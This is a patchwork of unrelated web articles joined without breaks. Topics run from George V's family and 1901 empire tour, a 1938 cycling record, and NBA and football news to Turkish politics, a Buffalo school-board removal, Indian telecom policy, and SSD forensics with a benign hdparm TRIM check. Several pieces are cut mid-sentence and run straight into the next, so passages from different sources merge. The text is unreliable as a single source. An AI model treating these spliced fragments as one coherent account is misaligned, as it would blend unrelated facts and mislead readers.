George and May had five sons and a daughter. Randolph Churchill claimed that George was a strict father, to the extent that his children were terrified of him, and that George had remarked to the Earl of Derby: "My father was frightened of his mother, I was frightened of my father, and I am damned well going to see to it that my children are frightened of me." In reality, there is no direct source for the quotation and it is likely that George's parenting style was little different from that adopted by most people at the time.[25] Whether this was the case or not, George's children did seem to resent his strict nature, Prince Henry going as far as to describe him as a "terrible father" in later years.[26]
In October 1894, George's uncle Alexander III of Russia died. At the request of his father, "out of respect for poor dear Uncle Sasha's memory", George joined his parents in St Petersburg for the funeral.[27] George remained in Russia for the wedding a week later of the new Russian emperor, his cousin Nicholas II, to another one of George's first cousins, Princess Alix of Hesse and by Rhine, who had once been considered as a potential bride for George's elder brother.[28]
Prince of Wales [ edit ]
George at Montreal and Quebec, 1901
As Duke and Duchess of York, George and May carried out a wide variety of public duties. On the death of Queen Victoria on 22 January 1901, George's father ascended the throne as King Edward VII.[29] George inherited the title of Duke of Cornwall, and for much of the rest of that year, he was known as the Duke of Cornwall and York.[30]
In 1901, George and May toured the British Empire. Their tour included Gibraltar, Malta, Port Said, Aden, Ceylon, Singapore, Australia, New Zealand, Mauritius, South Africa, Canada, and the Colony of Newfoundland. The tour was designed by Colonial Secretary Joseph Chamberlain with the support of Prime Minister Lord Salisbury to reward the Dominions for their participation in the South African War of 1899–1902. George presented thousands of specially designed South African War medals to colonial troops. In South Africa, the royal party met civic leaders, African leaders, and Boer prisoners, and was greeted by elaborate decorations, expensive gifts, and fireworks displays. Despite this, not all residents responded favourably to the tour. Many white Cape Afrikaners resented the display and expense, the war having weakened their capacity to reconcile their Afrikaner-Dutch culture with their status as British subjects. Critics in the English-language press decried the enormous cost at a time when families faced severe hardship.[31]
In Australia, the Duke opened the first session of the Australian Parliament upon the creation of the Commonwealth of Australia.[32] In New Zealand, he praised the military values, bravery, loyalty, and obedience to duty of New Zealanders, and the tour gave New Zealand a chance to show off its progress, especially in its adoption of up-to-date British standards in communications and the processing industries. The implicit goal was to advertise New Zealand's attractiveness to tourists and potential immigrants, while avoiding news of growing social tensions, by focusing the attention of the British press on a land few knew about.[33] On his return to Britain, in a speech at London's Guildhall, George warned of "the impression which seemed to prevail among [our] brethren across the seas, that the Old Country must wake up if she |
18 and, following the ideas of the Women’s League of Health and Beauty, she rode across the United Kingdom on a mission to promote the health benefits of cycling. She gained sponsorship from Rudge-Whitworth to provide a bicycle and financial support so that she could ride every day of the year in a wide variety of weather conditions. She was also sponsored by Cadbury chocolate. She was self-reliant on her journeys, cycling alone and calling in at cafes to eat. She did not carry any water. The distances were authenticated through a cyclometer on the bicycle and cycling check cards signed by witnesses that she submitted to the Cycling Magazine (now Cycling Weekly) offices.[3]
Her cycling record bid started 1 January 1938 from Mill Hill in London. The summer weather was good, but December 1938 was snowy.[3] The distance she travelled each day averaged 81 miles (130 km), but was up to 196 miles (315 km) in summer. Her mammoth tour included many evening engagements requiring her to give a talk at the end of a long day's pedalling. Fleming's ride attracted a huge amount of interest and press attention as the year progressed. Her record attempt finished with a reception at the Agricultural/Horticultural Hall in London that included cycling journalists and Mr England.
Her mileage set a women's record and attracted international attention. Her subsequent plan to cycle across the USA had to be called off because of the Second World War.[3] She also later met René Menzies and Tommy Godwin, who successively held the men's record for greatest distance cycled in a year, among other achievements.[3]
In 1940 she broke three records riding a tricycle — the 25-, 50-, and 100-mile distances.[4]Worried that her son’s sex life (or lack thereof) is the only thing standing in the way of him being a popular guy in college, one Philly mom with no regard for personal boundaries offered on Craigslist to pay a girl to take his virginity before he ships off to Harvard.
Because losing your virginity magically transforms you from awkward band geek to John Mayer-esque libertine. Just like that.
“I want to find a cute young girl to date him and turn him from high school nerd to cool college kid,” writes the concerned parent, apparently unaware of the website’s rules against soliciting prostitution and evidently without pausing to question whether her son’s even into the opposite sex. “He’s very handsome and extremely fit, he’s on the varsity cross country team so I’d say there’s almost zero body fat on him.”
Zero body fat? Awesome. That makes up for the ostensible family dysfunction and total lack of confidence.
Concerned Mom promises to buy four concert tickets (two for pretend girlfriend and a pal, two for shy boy and a buddy) to manufacture a “chance meeting” for the would-be summer flingers. The girl (preferably 19, since over 20 is too scary for shy boy) will then seduce him and do the deed, the first of many teachable moments in various “sex positions” over the course of the summer.
Just don’t fall in love, let him go gently and (somehow skipping the heartbreak of a first breakup) leave him with enough swagger to pick up on other girls, cautions the posting, which was flagged for removal.
If this mom’s for real, then she’s batty for obvious reasons. It’s possible, though, that this could also be some creeper on the Internet trying to lure a couple young girls to a concert to arrange a serendipitous encounter of his own.
h/t Gawker
Find Jennifer Wadsworth on Twitter at @jennwadsworth.One Piece season 8! Yes, you heard it right! FUNimation’s home video release slate for the month of May has confirmed the release of the first voyage of One Piece season 8, and the long-awaited English dub debut of the Marineford arc.
One Piece season 8 voyage 1 will be available for purchase starting Tuesday, May 31. It will be the first English dubbed set of the Marineford arc, and it will cover from episodes 457: “A Special Retrospective Before Marineford! The Vow of the Brotherhood!” to 468: “Hard Battles, One After Another! Devil Fruit Eaters vs. Devil Fruit Eaters!” No further information, including the special features, is known at the moment.
Summary:
With the tides turned against him, Luffy’s prison break becomes a race to save Ace! Fresh off their daring escape from the underwater prison Impel Down, Monkey D. Luffy and his band of Buggy-obsessed escapees set out to rescue Ace from being executed by the World Government. Just one problem—he’s being held at Marineford, the Navy’s most heavily guarded headquarters with a reputation for being impenetrable! With only three hours to spare before the execution, Luffy finds himself blocked out by the large gates surrounding the base. As the legendary pirate Whitebeard and his crew declare war on the marines, the three admirals, backed by the Seven Warlords of the Sea, vow to carry out Ace’s sentence no matter what. After a shocking family secret whips the crowd into a frenzy, the stakes grow even higher — meaning Luffy will have to get creative if he intends to stand a chance against the titanic forces standing in his way. Don’t miss the thrilling adventure in season 8 of One Piece!
So, there you go! Don’t forget to pick your copy of One Piece season 8, as soon as it becomes available in your territory. Interestingly enough, the North American release of One Piece: Burning Blood is also scheduled for May 31. Lastly, the final set of One Piece season 7 is scheduled to release on April 26.
SOURCE: One Piece season 8 voyage 1 (FUNimation shop)As the anesthesia was about to be given to Stephen Curry prior to his second ankle surgery last April, the Golden State point guard's mind was racing for good reason about his NBA future.
"If my ankle was unstable it could have taken up to a year to rehab and recover from," Curry said. "They couldn't tell me if I would be able to play the way I used to or if my ankle would ever feel the same as before. That's a tough thought to have before you go in [the operating room]."
The injury forced Curry to miss 40 games in the lockout shortened 2011-12 season, when he averaged career lows of 14.7 points and 3.4 assists. He had missed eight games in the 2010-11 season before having his first ankle surgery.
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The second operation was of an exploratory nature. Curry's wife, Ayesha, his father/former NBA player Dell Curry and agent, Jeff Austin, waited nervously at the hospital during the surgery. But the procedure wasn't as feared as doctors only cleaned out loose debris and scar tissue. Once Curry was awake, his wife gave him good news that he was expected to be back by training camp.
"I didn't want to be the player that was forever limited in what he could do on the court because of a serious problem with my ankle, with the alignment … " Curry said. "But when I came out my wife told me they just got the scar tissue out. I thought she was lying at first because I had some concerns and anxiety about it."
[NBA power rankings: Warriors climb into top 10]
Curry, finally healthy again, is averaging career-highs of 20 points and 6.5 assists. His recent stretch of four consecutive 20-point, 10-assist games marked the first time a Warrior recorded four or more straight since Tim Hardaway in December of 1992.
Story continues
The Warriors (14-7) are also off to their best start since the 1991-92 season. They have won four straight and are 8-4 on the road. And this is mostly without center Andrew Bogut, who is out indefinitely with a left ankle injury.
Golden State has chance to make a national statement on the road against the reigning NBA champion Miami Heat on Wednesday night.
"That's a big deal to go through 21 games and be fifth in the West and to play well like we are, especially on the road," Curry said. "Obviously, there is still a lot of season left and a lot of work to be done. But I think you can get excited about what we are trying to do here."
Curry wears a "special heavy duty" ankle brace that protects both sides with a plastic bar. Somehow, he says, his foot doesn't feel like it's suffocating. He does a 30-minute regimen before games to keep strengthening his ankle and engages in soft tissue work on it during his off days. The new ankle brace and rehab, however, didn't stop him from having ankle issues in late October. The concerned Warriors sidelined him until the start of the regular season.
The timing couldn't have been worse for Curry as a contract extension deadline was arriving. The Warriors would have been protected if an extension wasn't offered since he would have been a restricted free agent next summer. This was the first major decision by the Warriors' new ownership, led by Joe Lacob and first-year general manager Bob Myers.
[Adrian Wojnarowski: Kevin Love's future in Minnesota is cloudy]
In the end, the Warriors showed confidence in Curry and his ankle by offering a four-year extension paying $44 million on deadline day.
"Clearly because of his injury there was more risk there," Myers said. "To not acknowledge that wouldn't be right. With him, the thinking was from ownership on down that if you were going to bet on a player this was the type of player you bet on because of his character and because of his talent."
Said Curry: "I can't thank them enough for opening up negotiations when they really didn't have to. I guess they saw the promise in my game and what I could do for a team."
Curry and the Warriors have been to the playoffs only once since 1995. David Lee, Klay Thompson and several other Warriors have made a strong impact so far, too. But for a real shot at a playoff return, Golden State needs a healthy Curry.
"It feels good to be healthy," Curry said. "The one thing I can worry about is how I am playing, not just being on the court."
More sports news from the Yahoo! Sports Minute:
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• Y! TV: Ex-host claims reality show 'Storage Wars' is stagedSchool vouchers for 360 low-income and minority students have been deemed unconstitutional by North Carolina Judge Robert Hobgood. The program was staunchly opposed by teacher unions and atheist groups. Judge Hobgood’s ruling on the Opportunity Scholarship program was handed down just a week after parents of the poor and minority students were awarded $4,200 school choice grants.
Last year, North Carolina Republican lawmakers created the school vouchers program and set aside $10 million for the low-income students. The initial funding was designed for use during the 2014-2015 school year. Additional funds later allocated to expand the school choice program for next year.
Teachers unions and public school administrators reportedly feared that the students who had been awarded school vouchers would opt to leave the failing schools in primarily black communities. Democratic Party leaders also voiced opposition to the school choice program, prompting some to feel the move was designed to appease teachers unions. The education unions are typically large donors in Democratic political campaigns.
The North Carolina school vouchers program allowed parents to essentially shop around and choose the best academic fit for their child. Teachers unions, atheist groups, and others who oppose the school choice program, deemed the application process involved tantamount to a discriminatory practice.
The Black Alliance for Educational Options and the Louisiana Federation for Children conducted a poll of parents with school voucher students involved in the program instituted by Republican Louisiana Governor Bobby Jindal. The survey revealed that 91 percent were “satisfied” with bot their child’s academic performance and new school. The school choice poll also showed that 98 percent of parents felt their child was welcomed and felt safe at their new education facility.
Parents for Educational Freedom in North Carolina President Darrell Allison referred to Judge Hobgood’s school vouchers as just a “temporary roadblock.” Allison feels that higher courts will reinstate the voucher program and take the side of the low-income minority students and their parents.
The North Carolina school voucher program supporter also had this to say about the court ruling which, at least temporarily, halted the program:
“Today’s decision is disappointing but we’re glad we can now quickly appeal to the highest court to help many Opportunity Scholarship students who have already begun their school year and been thrown into disarray. Our organization is now hearing from parents across the state as to what they need to do for their child right now. We have no other choice, at this moment, but to continue pushing forward to have this appeal sent to the North Carolina Supreme Court as quickly as possible. The Supreme Court overturned a previous temporary injunction ruling once before this year and I am confident they will do the same in this case which will allow the Program to move forward until the merits of the case can be heard. We feel confident that a decision will not only be made quickly, but the outcome will be favorable on behalf of the nearly two thousand parents and students who remain helplessly in limbo until then.”
What do you think about the North Carolina school vouchers program for minority and low-income children?
[Image Via: Shutterstock.com]Former PM has been trying to enshine the presidency – previously a ceremonial role – as Turkey’s number one job
Recep Tayyip Erdoğan has announced he will chair a cabinet meeting in January, a move unprecedented for a Turkish president in recent times.
Previous presidents, including Erdoğan’s predecessor and one-time comrade Abdullah Gül, performed a largely ceremonial role but the office has been transformed in the four months since Erdoğan took charge.
Chairing the cabinet meeting is an important step in his clear drive to enshrine the presidency as Turkey’s number one job, both in theory and in practice.
Erdoğan led the Turkish government as prime minister from 2003 to 2014 and in August won the country’s first direct presidential elections. He told reporters on Monday that he would host the cabinet on 19 January at his vast new presidential palace in the Bestepe district of Ankara.
“I will gather the cabinet ministers on 19 January at Bestepe and will chair the cabinet meeting there,” he said in televised comments, emphasising that this was allowed by the constitution.
It will be the first time Erdoğan has chaired the cabinet since being elected president. Gül did not chair cabinet meetings when in office.
The ruling Justice and Development party (AKP), co-founded by Erdoğan, is aiming for a large majority in parliamentary elections in June so that it can change the constitution and formalise the president’s powers.
Erdoğan promised to be an active president during the election campaign in the summer, saying this was justified by the fact that he was being chosen by the people. He has since been true to his word, clearly leading Turkish policy on every issue from the Syria conflict to the economy. His opponents fear that Turkey is lurching to one-man rule under Erdoğan, who could theoretically stay in power until 2024.
The presidential palace, which according to Erdoğan has 1,150 rooms, was built at a cost of about £385m and has become a symbol of official excess for his opponents.Carl P. Paladino is out as a member of the Buffalo Board of Education.
That's the ruling today from State Education Commissioner MaryEllen Elia, according to the board's attorney.
"He is out effective immediately," said Frank W. Miller, the board's attorney. "The commissioner wrote a 33-page decision in which she went through and analyzed and knocked down all the various arguments he made."
After a prolonged public outcry, a formal petition to have Paladino removed and a five-day hearing to decide his fate, Elia ended months of speculation Thursday when she ruled that Paladino’s actions warrant his removal.
Paladino's inflammatory comments from December about former president Barack Obama and his wife started this public push for his ouster. But that's not the legal reason he was thrown off the board: Elia concluded that Paladino broke education law when he publicly disclosed private information from an executive session.
"The record demonstrates that respondent disclosed confidential information regarding collective negotiations under the Taylor Law, which he gained in the course of his participation as a board member in executive session," according to a copy of the decision obtained by The Buffalo News, "and that his disclosures constituted a wilful violation of law warranting his removal from office..."
"It is ordered that respondent Carl Paladino be, and he hereby is, removed from the office of member of the Board of Education," Elia wrote.
[PDF: Commissioner's ruling on petition against Paladino]
The state Education Department released the decision shortly before noon, adding that any person removed from a “school district office shall be ineligible to appointment or election to any district office for a period of one year from the date of such removal.”
"It was a powerful decision," Miller said. "She found that it was a willful violation of the open meetings law."
"Justice has been delivered," Miller said. "The message sent now is that regardless of station in life no one is above the law."
Paladino went on WBEN Radio this morning to provide reaction.
LIVE: @CarlPaladino says he could appeal @maryellenelia ruling to remove him from @Buffalo_Schools board. — WBEN NewsRadio 930AM (@NewsRadio930) August 17, 2017
No matter what ruling the commissioner decided to hand down, it was likely either side would appeal in court.
And Paladino – ever determined to shake things up in the impoverished urban school district – has indicated he will, should the commissioner rule against him.
In fact, Paladino already has been on the offensive, filing a federal lawsuit against the board majority for trying to have him removed. More recently, he has argued that the whole board should go – even him – and a special master be appointed to run the school system.
Paladino – an attorney, developer and former gubernatorial candidate – has long been a polarizing figure.
Paladino’s opponents on the board have unsuccessfully tried to boot him off the board – and he tried to remove some of them. But a huge public backlash erupted last December when Paladino made racially charged comments about the Obamas.
Those comments - in the wake of a bitter presidential election – garnered national attention and ignited calls for Paladino’s removal from his seat representing the Park District on the School Board.
Six of Paladino’s nine colleagues on the board quickly moved to get rid of him.
The board majority orginally sought his removal for the comments about the Obamas, but then quickly changed course on the advice of their attorney, who said that would be infringing on Paladino’s right to free speech.
Instead, the board majority argued that Paladino violated policy when he subsequently published information about the new teachers contract discussed privately in executive session.
As the weeks and months wore on, Paladino’s foes continued to hound him, protesting during monthly board meetings and even rallying in Albany at the state Education Building.
As recently as Wednesday, Paladino protesters delayed the board meeting with calls and shouts for his removal.
In June, all those involved gathered in Albany to testify before the education commission during what some called an unprecedented hearing, where both sides got to make their case.
Paladino’s legal team, managed to redirect the focus by arguing that this was all a witch hunt.
Those seeking Paladino’s removal, the Paladino camp argued, were really retaliating for his inflammatory remarks about the Obamas and in doing so were trampling all over Paladino’s First Amendment rights.
Paladino and his attorneys also tried to turn the tables, accusing other board members of routinely holding improper executive sessions and releasing confidential information when they launched a press campaign publicizing the district’s bargaining positions during teacher contract negotiations.
The board’s attorney, meanwhile, remained solely focused on the argument that by breaking the rules of executive session Paladino broke education law and disrupted the business of the board – both of which he would continue to do if he’s not stripped of his board seat.
In the end, Elia – who was herself facing public pressure to get rid of Paladino – sided with the board majority.
Seldom does the commissioner remove a sitting School Board member.
Roughly 600 petitions to remove a school board member have reached the commissioner’s desk since 1993, according to the state School Boards Association. Only 15 board members were removed.
Paladino makes 16.
This is a developing news story. Check back for updates.
Related:
• A Paladino political timeline
• Read the State Education Commissioner's decision removing Paladino from board
• Hearing underscores longstanding tension on Buffalo School Board
• Carl Paladino makes his case – for both sides
• 2010 profile: 'Warrior' Carl Paladino loves the fight
• 2015: Carl Paladino’s ‘Asian’ comments spark condemnation, discussionMANCHESTER -- Kevin De Bruyne says he doesn't want personal honours unless he's winning trophies with Manchester City.
The Belgium international midfielder is already being talked about as an early frontrunner for the Player of the Year award after starting the season in sparkling form for City.
Pep Guardiola said he needs to win a title to be considered among the best and De Bruyne, who was named German Player of the Year when he was with Wolfsburg in 2015, told ESPN FC he is more interested in team trophies.
"It's nice to have it but I prefer it after we have a title," De Bruyne told ESPN FC as Manchester City announced details for their very first SkillCity national final being held in Pomona, California on Saturday, Dec. 9.
"When I got it in Germany, it was a great honour but I wasn't happy that before we won the cup in Germany, we were second in Germany at the time.
"After that if you win it, it's a great recognition it means that it will be forever there and that you did well."
De Bruyne has enhanced his reputation as possibly the best provider in the game this season with an array of assists that have helped City to the top of the table.
He created the most assists in the Premier League last season with 18 and is only one behind teammate David Silva in this season's charts with five.
Kevin De Bruyne has been in sparkling form again this season for a rampant Man City.
But the 26-year-old is quick to give the credit to his fellow City players and insists their movement makes it easy for him to create chances.
"I'm just growing on what I've done the last years," he added. "I was playing constantly at a good level but I think the team is now playing at a very high level.
"For me, it's not easy, but it's easier to go in the way that they are going. For me it makes it easier to find people when they are playing in the way they are playing. The way it looks at the moment is very positive."
De Bruyne also created Gabriel Jesus's winner on Tuesday night in the 2-1 win over Serie A leaders Napoli that maintained City's perfect start in the Champions League with three wins out of three.
Napoli boss Maurizio Sarri said City should be seen as one of the favourites for the trophy after the result and De Bruyne believes City should consider themselves one of the better sides in the competition.
"Are we the best? It's difficult to say. For the moment we have good form, probably we are up there," De Bruyne added.
"But it's so difficult to compare with other teams from other leagues. It's not for me to do that discussion."
De Bruyne also has a big summer coming up with Belgium, who are one of eight teams seeded for the 2018 World Cup.
And he says his country shouldn't go to Russia if they don't believe they have the capability of winning the competition.
"I think if you go to a World Cup you need to try and win it," he said. "Obviously I don't think we're favourites, probably one of the outsiders.
"It depends on everything -- you need good play, the atmosphere needs to be good in the group, you need a little bit of luck, you need to be together to win a tournament and hopefully in that time we have it."
Jonathan is ESPN FC's Manchester City correspondent. Follow him on Twitter: @jonnysmiffy.Final Fantasy 15 will launch worldwide on Xbox One as well as on PlayStation 4, Square Enix announced today during a presentation on the Final Fantasy franchise.
Final Fantasy 15 is the rebranding of Final Fantasy Versus 13, which was announced at E3 2006.
"It was a huge amount of joy that we were finally able to announce Final Fantasy 15," said producer Shinji Hashimoto.
When asked why the company decided to publish for the Xbox One, he added that in order to reach the most fans, Square Enix has to flexible regarding which platforms their games will launch on.
Final Fantasy 15 is being developed with DirectX 11, which Hashimoto said made it possible to port the title to different hardware. This has made it possible for the company to launch the game on Xbox One as well, he said.hidden
Communications Minister Ravi Shankar Prasad on Friday said he has an open mind on empowering the telecom watchdog to impose penalties on operators for call drops and poor service quality, but will await a formal request.
"If the Telecom Regulatory Authority of India (TRAI) approaches us in a structured manner about the legal architecture we will consider it with an open mind," Prasad told IANS in an interview at his office in Sanchar Bhavan here.
He also made it clear that telecom operators could no longer hide behind the lack of spectrum, or infrastructure, as excuses for poor quality of service.
"I have cleared all the policies -- spectrum trading, sharing, harmonisation, liberalisation and sharing of infrastructure both active and passive. Therefore, spectrum scarcity is no more the issue. It is time for them to give the results," the minister said.
"I have taken note that they have installed 100,000 sites in the country over the last one year. But they need to do more," he added.
The minister's remarks come against the backdrop of the Supreme Court striking down the penalty on call drops proposed by the telecom watchdog, calling the move, as taken, to be ultra vires, arbitrary, unreasonable and non-transparent. It also found the action void of data or reason.
Earlier this week top officials at TRAI had said the government must enable the regulator to impose penalties in a legally-tenable manner. "We're planning to write to the government on amendments in the TRAI Act. We should be empowered to impose penalties," a TRAI official said.
During the free-wheeling interview, the minister said it was in the interests of operators to give good service. "If they can provide mobile phone services all over the country, they also need to give good service," he said.
The minister said he has also referred complaints of "call masking" by operators to an expert team of the Department of Telecommunications. "I have told my department to look into this seriously on the technological front," Prasad said.
After a call is placed, it should get automatically disconnected when a user moves to an area with poor network area. This qualifies as a "call drop" under the existing norms laid down by the regulator.
But there have been complaints that operators have been using what is called radio-link technology, by which such calls remain artificially connected -- and continue to be billed -- till the user physically terminates it.
And when such a call is disconnected, it does not get registered as a dropped call.
The minister said the next round of spectrum auction will be conducted soon in a transparent manner. "Since all the policies on spectrum is in place, we are going to put the highest ever quantity of spectrum for auction," he said.
"More than 2,100 MHz. My job is only to create an enabling atmosphere in a transparent manner. Last time, it fetched Rs.1.10 lakh crore. The days of scandal and corruption in Sanchar Bhawan is over."
It is expected that the next auction in the bands 700 MHz, 800 MHz, 900 MHz, 1,800 MHz, 2,100 MHz, 2,300 MHz and 2,500 MHz will fetch government a whopping Rs.560,000 crore, or $83 billion, payable over the tenure of the contract.
On the issue of net neutrality, the minister said the government was awaiting inputs from the watchdog. "My government is committed to non-discriminatory access for internet. Internet being one of the finest creations of human mind must be available for all, from global to local."
The minister said the government was also focussed on accelerating electronic manufacturing in the country. "Our IT exports have crossed $108 billion. I am satisfied of the modest success in the last two years, which will lead to extraordinary growth in the next three years."
IANS
Tech2 is now on WhatsApp. For all the buzz on the latest tech and science, sign up for our WhatsApp services. Just go to Tech2.com/Whatsapp and hit the Subscribe button.An annual worst-jobs report has ranked enlisted service member as the fourth-worst occupation in the country — a step down from last year.
CareerCast put enlisted troops ahead of only newspaper reporters, broadcasters and loggers in its 2017 list, which factors in salary, hours, stress, work environment and multiple other data sets.
Last year, the career site ranked enlisted personnel as fifth-worst, a position held in 2017 by pest control workers. Troops slid behind disc jockeys, who rose from fourth-worst in 2016 to the No. 6 spot in the countdown this year.
Thinking of going officer to improve your lot? CareerCast ranks "military general" as the 170th-best job among the 200 occupations listed, despite the attached median salary of more than $200,000.
The financial figures may be subject to interpretation: The report put enlisted troops at a median salary of $27,936 in 2017, down from $45,374 last year. The only change to base pay during that period was a 2.1 percent raise signed into law in December, although other factors such as overall time in service may have affected the median salary to a small degree.Senate Republicans Block Nine Judicial Nominees From Confirmation
WASHINGTON (Friday, December 20, 2013) – Senate Judiciary Committee Chairman Patrick Leahy (D-Vt.) blasted Republicans for needlessly blocking the confirmation of nine judicial nominees currently pending on the floor before the end of the year.
“Republicans are once again—for the fifth year in a row—rejecting the longstanding Senate practice of scheduling confirmation votes on consensus nominees before the end of the session,” Leahy said. “The result is that we will spend a significant portion of the next year on the Senate floor doing work that should have been completed this year.”
A total of 55 judicial nominees pending in the Judiciary Committee and on the floor will be returned to the White House because of Republican delay tactics, Leahy said, including recent obstruction of the Committee even meeting to consider nominees.
Leahy noted that the Senate confirmed on Friday Brian Davis to a district court seat in Florida. Davis’s nomination lagged for 660 days. Judge Robert Wilkins, a nominee to serve on the D.C. Circuit Court of Appeals, will be considered early next year.
“As we approach the new year, I hope that reasonable Republicans will join us in restoring the Senate’s ability to fulfill its constitutional duties and do its work for the American people,” he said.
Leahy’s full statement on judicial nominations can be found online.
#####
Nominations Pending On The Senate Calendar
Jeffrey A. Meyer (D CT) Reported on September 19, 2013 Timothy L. Brooks (WD AR) Reported on October 31, 2013 James Donato* (ND CA) Reported on October 31, 2013 Beth L. Freeman* (ND CA) Reported on October 31, 2013 Pedro D. Hernandez* (D PR) Reported on October 31, 2013 Carolyn B. McHugh (10th Cir, UT) Reported on November 14, 2013 Pamela L. Reeves (ED TN) Reported on November 14, 2013 Vince G. Chhabria* (ND CA) Reported on November 14, 2013 James M. Moody (ED AR) Reported on November 14, 2013
*Indicates this nominee will fill a Judicial Emergency
#####
Press Contact
Press Contact
David Carle: 202-224-3693DEERFIELD, Ill. -- With his name in trade rumors for Minnesota Timberwolves star Kevin Love, Bulls forward Taj Gibson said Wednesday he doesn't want to leave Chicago, but is prepared for anything.
"It's tough, but it's a part of the business," Gibson said. "I've been in the league for a while now, I've been around some great veterans that taught me a lot about the game. The one thing that [they say] is be grateful that somebody wants you. Be grateful to be in the NBA and just focus on your game. You can only do so much -- just focus on your game and focus on getting better."
Taj Gibson finished second in Sixth Man of the Year voting last season. David Banks/USA TODAY Sports
ESPN reported Tuesday that the Bulls are making a late push to try to acquire Love, but the Cleveland Cavaliers remain the favorites to land him, according to sources. Any deal involving the Bulls likely would include Gibson, who will make $8 million next season. NBA writer Chris Sheridan reported Wednesday that the Bulls have offered Gibson, Nikola Mirotic and first-round draft pick Doug McDermott to the Timberwolves for Love, according to sources.
Gibson, who finished second in Sixth Man of the Year voting last season, acknowledged that the talk is "flattering," but he knows he ultimately doesn't have any control over what happens.
"Of course [a trade] would hurt because it seems like everybody's family," he said. "But at the end of the day it's a business, I totally understand that. Whatever happens is going to happen, it's in God's hands, in the GM's hands. All I can do is be a player and represent whatever team I'm wearing their jersey. But I hope I don't have to leave Chicago any time soon. This is like my first home."
Gibson said he hasn't been told by management that he would be on the move any time soon.
"I talked to my agent [Mark Bartelstein on Tuesday]," Gibson said. "He didn't say anything specific about any trades. You have to wait and see. Sometimes it can be a rumor, sometimes it can actually happen, but that's part of my job. It happens every year since I've been in the NBA. You just got to keep rolling with the punches, I guess."
When asked about a potential trade for an All-Star player like Love, Bulls general manager Gar Forman said Wednesday that the Bulls are always looking for ways to improve the team.
"The league has become a 12-month league now and it's our job to have conversations with everybody around the league and get a feel of what's happening, who might be available," Forman said on 87.7 FM. "Anytime there's something that is available that we feel could improve our team we've got to take a look at it. That's our job. But we like where we're at with the additions that we made."
With the addition of Pau Gasol, McDermott and Mirotic, Gibson believes the Bulls are better than a year ago, especially if Derrick Rose can return to form after missing most of the past two seasons with knee injuries.
"It's a deep team," he said. "It reminds me of the team the year we went to the Eastern Conference finals [in 2011]. We were really deep. We had at least 10 or 11 guys that could really go. I'm looking forward to it. Everyone on this team is mostly focused on winning championships, winning games. We went to that next level, and I'm looking forward to it."
Editor's Picks Pelton: Trading for Love is a no-brainer Kevin Pelton outlines why Kevin Love is one of the best players to ever hit the NBA trade market, highlighting the big man's key strengths and debunking the claim that he is a defensive liability.
Friedell: Love would be costly Kevin Love would likely cost the Bulls the depth they have acquired in the last few weeks, Nick Friedell writes. 1 Related
Gibson said he was never told by Bulls management that he would be starting this season, and didn't sound like a player who had any reluctance continuing to come off the bench in the wake of Gasol's signing.
Gibson was disappointed by the fact that free agent Carmelo Anthony didn't decide to join the Bulls. Gibson, who was part of the recruiting pitch to Anthony, says he understood why the All-Star forward decided to stay with the New York Knicks.
"When I was with Carmelo it was just mostly, we were just hanging out," he said. "Just a mutual respect being from New York. Just respecting our game, talking about so many different stories. That's the whole thing. We weren't really getting into the whole, 'Come in here, do this and do that.' We were just getting familiar with one another, just seeing how it happens. It just didn't go our way. It was all good talks, (especially) about the future.
"But at the end of the day he has to worry about his family and how he fits in and we understand that. Like Joakim [Noah] told him, 'We want you here. We want to win championships.' But if it doesn't come down to it, and you feel as those things that come with [moving] and your family and stuff, we totally understand that. We don't have no hard feelings. We respect your game, we respect you as a person, and that's how it is."
Despite Anthony's decision, Gibson remains convinced the Bulls still can contend for a title this season.
"I think we're one of the best," he said. "It's hard to say we're 'the best' because you've got the Pacers still coming back, they got Rodney Stuckey. They've got Cleveland. The East is getting better. You've got Charlotte -- they're a sleeper, they're good. D.C. is coming back strong, they've got winning chemistry.
"It's really tough to say who's the best. It's all |
have the following picture:
(Source: http:/www.kitguru.net/components/ssd-drives/anton-shilov/samsung-remains-the-worlds-largest-maker-of-ssds-gartner/)
Hardware for SSD Forensics (and Why It Has Not Arrived)
Little has changed since 2012 in regards to SSD-specific acquisition hardware. Commonly available SATA-compliant write-blocking forensic acquisition hardware is used predominantly to image SSD drives, with BGA flash chip acquisition kits rare as hen’s teeth.
Why so few chip-off solutions for SSD drives compared to the number of companies doing mobile chip-off? It’s hard to say for sure, but it’s possible that most digital forensic specialists are happy with what they can extract via the SATA link (while there is no similar interface in most mobile devices). Besides, internal data structures in today’s SSD drives are extremely complex. Constant remapping and shuffling of data during performance and lifespan optimization routines make actual data content stored on the flash chips inside SSD drives heavily fragmented. We’re not talking about logical fragmentation on file system level (which already is a problem as SSD drives are never logically defragmented), but rather physical fragmentation that makes an SSD controller scatter data blocks belonging to a contiguous file to various physical addresses on numerous physical flash chips. In particular, massive parallel writes are what make SSD drives so much faster than traditional magnetic drives (as opposed to sheer writing speed of single flash chips).
One more word regarding SSD acquisition hardware: write-blocking devices. Note that write-blocking imaging hardware does not stop SSD self-corrosion. If the TRIM command has been issued, the SSD drive will continue erasing released data blocks at its own pace. Whether or not some remnants of deleted data can be acquired from the SSD drive depends as much on acquisition technique (and speed), as on particular implementation of a particular SSD controller.
Deterministic Read After Trim
So let’s say we know that the suspect erased important evidence or formatted the disk just minutes before arrest. The SSD drive has been obtained and available for imaging. What exactly should an investigator expect to obtain from this SSD drive?
Reported experience while recovering information from SSD drives varies greatly among SSD users.
“I ran a test on my SSD drive, deleting 1000 files and running a data recovery tool 5 minutes after. The tool discovered several hundred files, but an attempt to recover returned a bunch of empty files filled with zeroes”, said one Belkasoft customer.
“We used Belkasoft Evidence Center to analyze an SSD drive obtained from the suspect’s laptop. We were able to recover 80% of deleted files in several hours after they’ve been deleted”, said another Belkasoft user.
Carving options in Belkasoft Evidence Center: for the experiment we set Unallocated clusters only and SSD drive connected as physical drive 0.
Why such a big inconsistency in user experiences? The answer lies in the way the different SSD drives handle trimmed data pages.
Some SSD drives implement what is called Deterministic Read After Trim (DRAT) and Deterministic Zeroes After Trim (DZAT), returning all-zeroes immediately after the TRIM command released a certain data block, while some other drives do not implement this protocol and will return the original data until it’s physically erased with the garbage collection algorithm.
Deterministic Read After Trim and Deterministic Zeroes After Trim have been part of the SATA specification for a long time. Linux users can verify that their SSD drives are using DRAT or DZAT by issuing the hdparm -I command returning whether the drive supports TRIM and does “Deterministic Read After Trim”.
Example:
$ sudo hdparm -I /dev/sda | grep -i trim
* Data Set Management TRIM supported (limit 1 block)
* Deterministic read data after TRIM
